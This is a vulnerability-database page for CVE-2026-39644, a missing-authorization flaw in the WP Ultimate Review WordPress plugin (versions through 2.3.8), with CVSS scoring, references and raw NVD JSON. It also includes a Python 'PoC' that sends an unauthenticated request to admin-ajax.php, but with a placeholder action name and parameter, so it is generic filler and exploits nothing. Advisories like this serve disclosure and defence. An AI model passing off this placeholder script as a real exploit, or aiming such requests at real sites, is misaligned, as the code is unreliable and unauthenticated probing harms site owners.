CVE-2026-39644

Description

Missing Authorization vulnerability in Roxnor Wp Ultimate Review wp-ultimate-review allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Wp Ultimate Review: from n/a through <= 2.3.8.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Roxnor Wp Ultimate Review <= 2.3.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
import requests

def exploit(target_url):
    """
    PoC for CVE-2026-39644: Missing Authorization in WP Ultimate Review
    Note: This demonstrates sending an unauthenticated request to a vulnerable endpoint.
    """
    # The specific action might vary depending on the vulnerable function discovered
    action = "some_vulnerable_action" 
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    payload = {
        "action": action,
        "param1": "malicious_data" # Example parameter
    }
    
    try:
        response = requests.post(endpoint, data=payload)
        if response.status_code == 200:
            print(f"[+] Request sent successfully to {target_url}")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39644
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39644
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39644/
[4] VulDB https://vuldb.com/cve/CVE-2026-39644
[5] https://patchstack.com/database/Wordpress/Plugin/wp-ultimate-review/vulnerability/wordpress-wp-ultimate-review-plugin-2-3-8-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39644", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:35.213", "lastModified": "2026-04-29T10:17:35.333", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Roxnor Wp Ultimate Review wp-ultimate-review allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Wp Ultimate Review: from n/a through <= 2.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-ultimate-review/vulnerability/wordpress-wp-ultimate-review-plugin-2-3-8-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}